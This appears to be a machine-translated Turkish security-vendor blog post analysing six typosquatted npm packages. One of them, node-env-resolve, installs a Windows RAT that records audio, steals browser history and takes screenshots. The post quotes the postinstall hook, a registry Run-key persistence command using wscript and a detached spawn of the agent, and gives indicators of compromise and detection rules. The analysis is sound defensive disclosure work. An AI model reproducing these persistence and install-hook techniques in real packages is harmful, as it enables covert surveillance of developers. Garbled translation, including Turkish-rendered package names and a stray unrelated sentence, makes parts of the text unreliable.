DevTap npm Typosquatting Saldırısı

DevTap npm Typosquatting Saldırısı: Altı Kötü Amaçlı Paket Geliştirici İş İstasyonlarını Hedef Alıyor

TL; DR

1 Nisan ile 3 Mayıs 2026 tarihleri ​​arasında, tek bir npm yayıncısı, user0001Doğrulanmamış Gmail adresiyle kayıtlı. tanvisoul9@gmail.comSessizce, kasıtlı olarak sıradan, altyapı çağrışımlı isimlere sahip altı paket piyasaya sürüldü: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, ve node-env-resolve.

En son iki sürümü node-env-resolve1.0.7 ve 1.0.8 sürümleri, 2 Mayıs'ta Xygeni'nin Kötü Amaçlı Yazılım Erken Uyarı (MEW) sistemi tarafından işaretlendi ve 3 Mayıs'ta kötü amaçlı yazılım oldukları doğrulandı.

Bu implant, sahip olmadığı özelliklerle sıra dışıdır: Telegram botları, OAST geri aramaları vb. içermez. gizlemeve kurulum sırasında AWS kimlik bilgilerini ele geçirme girişiminde bulunulmadı. Bunun yerine, postinstall.js Bir HKCU Çalıştırma anahtarı kullanarak Windows önyükleme kalıcılığı girdisi oluşturur ve bu anahtar, işlemi başlatır. wscript.exe Bir VBS şablonuna karşı çalıştırılır. Ardından, mikrofon yakalama, tarayıcı geçmişi çalma, ekran görüntüsü alma ve fare/klavye simülasyonu için modülleri bir araya getiren bağımsız bir Node.js aracısı oluşturulur.

Bu kümeye bu adı veriyoruz. DevTapKit tamamlandıktan sonra, geliştiricinin bilgisayarında çalışmaya devam eder.

Bu yazının yazıldığı sırada altı paketin tamamı npm'de yayındaydı. Bunları kayıt defterinin kötüye kullanım kanalına bildirdik. Savunucular, kaldırılmayı beklerken yayıncıdan tüm kurulumları geri çekmelidir.

Küme: Altı Paket, Tek Yayıncı

Yayıncı hesabı user0001 Doğrulanmamıştır. Hiçbir bilgisi yoktur. SCM Doğrulama, alan adına bağlı e-posta yok ve geçmişe dair bilgi yok. Gmail kullanıcı adı tanvisoul9 Bulabildiğimiz diğer hiçbir npm yayıncı kaydında görünmüyor.

Altı paketin tamamı aynı sorumluya ait, aynı hesaptan yayınlanmış ve aynı özellikleri paylaşıyor. package.json Hazır kalıp metin. Yok. repositoryIçinde homepage, ve hayır description Tek bir satırdan daha uzun.

İsimlendirme stratejisi işin ilginç tarafı. Klasik bağımlılık karışıklığı veya yazım hatasıyla alan adı ele geçirme kampanyalarının aksine, bu isimlerin hiçbiri belirli bir yukarı akış kütüphanesini hedef almıyor. Bunun yerine, gerçek bir bütünün içinde kaybolacak şekilde ayarlanmışlar. package.json or npm ls çıktı.

paketİlk YayınlananEn son sürümüsürümlerKümedeki Rolü
merkezilog2026-04-01 12:46 UTC1.0.95, 1.0.5'dan 1.0.9'aKümenin "kayıt tutma hizmeti" kapağı; en erken yayın
dom-utils-lite2026-04-14 07:36 UTC1.0.33Genel DOM yardımcı kapağı
düğüm-getirme-lite2026-04-19 10:22 UTC1.0.23node-fetch ailesini taklit eder.
bağlantı elemanı2026-04-25 05:12 UTC1.0.01Genel isimli "ajan"
node-gyp-runtime2026-04-25 05:17 UTC1.0.01Yerel modül derleme araçlarını taklit eder.
düğüm-ortam-çözme2026-04-25 05:21 UTC1.0.910, 1.0.0'dan 1.0.9'aAktif damlalık; tam implant

Gibi isimler centralogger, node-fetch-lite, ve node-gyp-runtime Kod incelemesinde tartışma yaratmayacak şekilde tasarlanmışlardır. Zaten bir projenin bağımlılık ağacında bulunabilecek şeyler gibi görünürler.

Yeni, doğrulanmamış bir yayıncı ve eksik depo bağlantılarıyla birleştiğinde, tanınabilir bir model oluşturuyorlar: bir aktör, kayıt defterine düşük sürtünmeli isimler ekliyor, ardından önemli olan üzerinde hızla yineleme yapıyor. Bu durumda, node-env-resolve Sekiz gün içinde on farklı versiyon aldık.

Windows Geliştirici Kutusuna Neler İniyor?

Kötü amaçlı zincir şurada node-env-resolve:1.0.8 Kısa, doğrudan ve bir npm RAT'ı için alışılmadık derecede özellik bakımından zengin.

Kurulum Sonrası: Kalıcılık ve Ayrılmış Aracı

package.json Tek bir kurulum kancası tanımlar:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js Üç şeyi sırayla yapar.

Öncelikle, npm ağacının dışında bir kurulum dizini oluşturur. Yol, betik içinde çalışma zamanında hesaplanır. INSTALL_DIRArdından dahili bir işlem gerçekleştirir. execSync('npm install --production --silent ...') İçeriye girerek implantın çalışma zamanı bağımlılıklarını çeker. Bu, ajanı diskte bir yere manuel olarak yerleştirir. node_modules Denetim bunu bulamayacak.

İkinci olarak, bir VBS başlatıcı dosyası yazar ve önyükleme sırasında kalıcı olarak saklanması için kaydeder:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe Windows Script Host, Microsoft tarafından imzalanmış ve çalıştırılan bir ikili dosyadır. .vbs Konsol penceresi olmadan dosyalar. Bu, ön hazırlık aşamasıdır.cisOtomatik çalıştırma komut dosyaları için neden tercih edildiğinin açıklaması.

Aynı zamanda eşleşen bir ürün de var. reg delete yol içinde src/index.jsBu da implantın, operatör komutuyla kolayca çıkarılabilecek şekilde tasarlandığını gösteriyor.

Üçüncüsü, bağımsız bir alt işlem başlatır:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Burada iki ayrıntı önemlidir.

SERVER_URL Ortamdan okunur. Sonuç olarak, C2 uç noktası dağıtım başına yapılandırılabilir ve pakete entegre edilmemiştir. Bu küçük ama bilinçli tercih, çoğu statik IOC taramasını etkisiz hale getirir.

Ayrıca, ortaya çıkan çocuk süreç, ebeveyninin tüm ortamını devralır. Bu nedenle, herhangi bir NPM_TOKEN, AWS_*, GITHUB_TOKENVeya kurulum sırasında geliştirici kabuğunda bulunan SSH aracısı soketi, uzun ömürlü aracının belleğine taşınır.

Acentenin Gönderdiği Şeyler

Paketlenmiş src/ Ağaç, isimleriyle bile hikayeyi anlatan üç modül içerir: audioCapture.js, browserHistory.js, ve systemInfo.js.

Aşamalı çözümleme sırasında çözümlenen çalışma zamanı bağımlılık listesi. npm installOnları doğruluyor.

Bu yaklaşım, kaotik bir olayı kontrollü bir müdahaleye dönüştürüyor.

Takımlar körü körüne tepki vermek yerine, şu şekilde hareket ederler: net önceliklendirme ve hızlı çözüm.

BağımlılıkBu Bağlamda Ne İşe Yarıyor?
ekran görüntüsü-masaüstüPeriyodik ekran görüntüsü alma
@nut-tree-fork/nut-jsFare ve klavye otomasyonu / giriş simülasyonu
daha iyi sqlite3Chrome, Edge ve Firefox geçmişi SQLite veritabanlarının doğrudan okunması
adm-zipToplanan eserlerin sızdırılmadan önce paketlenmesi
keskinEkran görüntülerinin ve görüntü bozukluklarının yeniden boyutlandırılması/sıkıştırılması
soket.io-istemcisiKalıcı çift yönlü C2 kanalı
düğüm-makine-kimliğiKurban takibi için sunucu başına kararlı parmak izi.

systemInfo.js aramalar os.networkInterfaces() İlk sinyal gönderilmeden önce ek parmak izi alma işlemi için.

Ses yakalamanın neden öne çıkan sinyal olduğu

MEW'de ele aldığımız npm RAT'larının çoğu, kurulum sırasında gerçekleşen gizli veri hırsızlığı aşamasında takılıyor. Okudukları şeyleri inceliyorlar. ~/.npmrcOkumak, ~/.aws/credentialskazımak process.envBir webhook'a POST isteği gönderip çıkış yapmak. Bu, hızlı ve etkili bir ekonomik modele uyuyor. Kimlik bilgilerinin kullanım ömrü kısa ve saldırganın hızla para kazanması gerekiyor.

node-env-resolve Şekil olarak farklıdır.

Kalıcılık, yeniden başlatmanın ardından da çalışmaya devam edecek şekilde ayarlanmıştır. Aracı, bağımsız ve uzun ömürlü olarak çalışır. wscript.exeİçerdiği donanım, bir geliştiricinin makinesinde kalıcı olarak bulunmak içindir, alıp bırakmak için değil: bir mikrofon kaydedici, bir klavye/fare sürücüsü, tam tarayıcı geçmişi alımı, ekran yakalama ve yapılandırılabilir bir C2 sunucusuna geri bağlantı sağlayan etkileşimli bir Socket.IO kanalı.

Özellikle mikrofon yakalama, bu saldırının çoğu npm kötü amaçlı yazılımının aşmadığı bir sınır noktasıdır.

Geliştirici iş istasyonu, giderek artan bir şekilde, geliştiricilerin günlük toplantılarını, müşteri görüşmelerini, tasarım tartışmalarını ve nöbetçi köprülerini gerçekleştirdiği iş istasyonu haline geliyor. Mikrofonu kaydeden bir implant, aslında geliştiricinin npm token'ını hedeflemiyor. Geliştiricinin dizüstü bilgisayarın önünde söylediklerini hedefliyor.

Bu yetenek seti, gizleme eksikliği ve kurulum sırasında göze çarpan herhangi bir veri sızdırma yönteminin bulunmaması, fırsatçı kimlik bilgisi hırsızlığından ziyade hedefli erişim için ön hazırlık olarak yorumlanabilir.

Yalnızca bu bilgiye dayanarak bir suçlama yapmıyoruz. Operasyonel profili kaydediyoruz.

npm typosquatting saldırısı - DevTab

Sekiz günlük yineleme döngüsü node-env-resolve Zaman çizelgesindeki en operasyonel açıdan açıklayıcı detay budur.

Bu, "kur ve unut" tarzı bir dağıtım değil. Yayıncı, dağıtım aracını aktif olarak sürdürüyor; bu da genellikle iki şeyden birini ifade eder: Ya daha geniş çaplı dağıtımdan önce test ortamlarına karşı ayarlamalar yapıyorlar ya da zaten kurulum telemetrisi verilerini alıyorlar ve bunlara yanıt veriyorlar.

Diğer beş paket, ilk yayınlanmalarının ardından neredeyse hiç değişiklik yaşamadı. Bu durum, destekleyici küme için "bir kez aşamalandır, adlandırılmış olarak bırak" modeline uyarken, mühendislik çalışmaları işi yapan pakete odaklanıyor.

Kaynak Gösterimi: Az Sayıda İpucu Var, Kesin Bir Sonuç Yok

Açık Alan OSINT Sinyaller ince ve onları uzatmayacağız. Gözlemlenebilir olan şudur:

Gmail kullanıcı adı tanvisoul9 Kısmen Güney Asya kökenli bir isim olan "Tanvi"ye benziyor. Bu zayıf bir sinyal. Gmail kullanıcı adları kimlik bilgisi değildir ve sonundaki kısım... soul9 Bu genel bir bilgidir. Yalnızca e-postanın yerel kısmından coğrafi bir konum çıkarımı yapmak güvenli değildir.

Node.js'in kod stili sıradan: standard kütüphane çağrıları gibi os, child_process, spawn, ve reg addKodda herhangi bir gizleme, dize döndürme veya hata ayıklama karşıtı mantık bulunmamaktadır. Yazar, Windows kayıt defteri temel öğeleri ve ayrılmış alt süreç düzenlemesi konusunda rahattır, ancak muhtemelen kullanabileceği daha gizli yöntemlere başvurmamış gibi görünmektedir.

Bağımlılıklar tamamen hazır ve iyi bilinen çözümlerdir: screenshot-desktop, nut-js, better-sqlite3, ve socket.io-clientÖzel bir protokol yok, sıfırdan oluşturulmuş bir C2 yığını yok ve ders kitaplarında anlatılanların ötesinde yeni bir kalıcılık yöntemi de yok. HKCU Çalıştırma anahtarıBu, yetkin bir entegratör, bir araç yazarı değil.

Yayınlanan dosyalarda İngilizce dışındaki metinlere, gömülü yorumlara, yerel ayar verilerine veya derleyici çıktısı saat dilimi izlerine rastlamadık.

Daha önce takip ettiğimiz kampanyalarla kod çakışması olup olmadığını kontrol ettik, bunlar arasında şunlar da yer alıyor: Shai Hulud, BaykuşBuildkite ve son zamanlardaki heibai / claude-code-best Anthropic-CLI klon ailesi. Hiçbirini bulamadık: paylaşılan C2 kalıpları, paylaşılan dosya düzenleri ve paylaşılan deyimler yok.

Söylemeyeceğimiz şey şu: bunun bir devlet aktörü, bilinen bir grup veya coğrafi olarak belirli bir ülkeyle bağlantılı olduğu.

Operasyonel profil, geliştirici iş istasyonlarının gözetimini yapan küçük, orta düzeyde yetenekli bir ekiple tutarlıdır. Muhtemelen erişimin sonraki aşamalarda kullanımından elde edilecek finansal motivasyonla, ancak muhtemelen ayrı bir alıcı için keşif hizmeti olarak da sunulmaktadır.

Bu görüşü destekleyen iki dolaylı nokta şunlardır: Telegram botları gibi dikkat çekici ve kümenin hızla çökmesine neden olabilecek veri sızdırma mekanizmalarından kaçınılması, oastify.comYa da canarytokens gibi isimler ve kasıtlı olarak sade seçilmiş paket adları, kısa süreli yüksek hacimli bir artış yerine sessiz ve uzun süreli kurulumları tercih eder.

Güvenlik İhlali ve Tespit Göstergeleri

Paketler ve Yayıncı
AlanÖzellik
npm yayıncısıuser0001
Yayıncı e-postasıtanvisoul9@gmail.com, doğrulanmamış
Paketlercentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Kötü amaçlı olduğu doğrulandı.node-env-resolve@1.0.7, node-env-resolve@1.0.8
Ana Bilgisayar Yapıtları
MenşeiÖzellik
Kalıcılık anahtarıHKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
Kalıcılık değeriDeğişken adı; wscript.exe biçimindeki veri \\ .vbs"
Kancayı takınpostinstall: paket manifestinde node postinstall.js
İmplant modüllerisrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Hazırlık diziniINSTALL_DIR, projenin node_modules klasörünün dışında çözümleniyor; konumu kurulum sırasında postinstall.js tarafından belirleniyor.
MenşeiÖzellik
C2 taşımacılığısocket.io-client, kalıcı çift yönlü kanal
C2 uç noktasıSERVER_URL ortam değişkeni aracılığıyla aracıya sağlanır; yayınlanan yapılara sabit kod olarak eklenmez.

Tespit Notları

Bu aileyi C2 uç noktasına ihtiyaç duymadan yakalayan iki kural var.

İlk olarak, dahili işlemler gerçekleştiren postinstall komut dosyalarını işaretleyin. npm install Paketin kendi dizininin dışındaki bir yola. Herhangi bir meşru önceden derlenmiş dosya indiricisi, örneğin... node-gyp Yeniden derleme veya önceden derlenmiş ikili dosya indiricileri, paketin içine veya platforma yazma işlemleri gerçekleştirir.standard Doğrulanmış karma değerlere sahip önbellek yollarını tutar. Yeni oluşturulmuş bir önbelleğe yazmaz. INSTALL_DIR Diskin başka bir yerinde.

İkinci olarak, hata veren postinstall komut dosyalarını işaretleyin. reg add HKCU\…\Run 'da wscript.exe Başlatıcı olarak. Bu, bir npm paketinden gelen meşru bir işlem değildir. İşaretleyin ve karantinaya alın.

Üçüncü bir sezgisel yöntem, bir sonraki kardeş paketi onaylanmadan önce tespit etmek için kullanışlıdır: henüz hiçbir ön bilgisi olmayan yeni bir npm yayıncısı. SCM doğrulama, bir Gmail e-postası, hayır repository Alanla ilgili olarak, ve birbirini takip eden birkaç gün içinde yayınlanan çok sayıda kısa, genel, altyapı çağrışımı yapan paket adı, tek başına manuel incelemeyi gerektirecek kadar yeterlidir.

npm kayıt defterine bildirildi. Yayıncı hesabı kaldırıldığında bu gönderiyi güncelleyeceğiz.

sca-tools-software-composition-analysis-tools
Yazılım risklerinizi önceliklendirin, giderin ve güvence altına alın.
Ücretsiz hesabınızı alın.
Hiçbir kredi kartı gerekmektedir.

Yazılım Geliştirme ve Teslimatınızı Güvence Altına Alın

Xygeni Ürün Paketi ile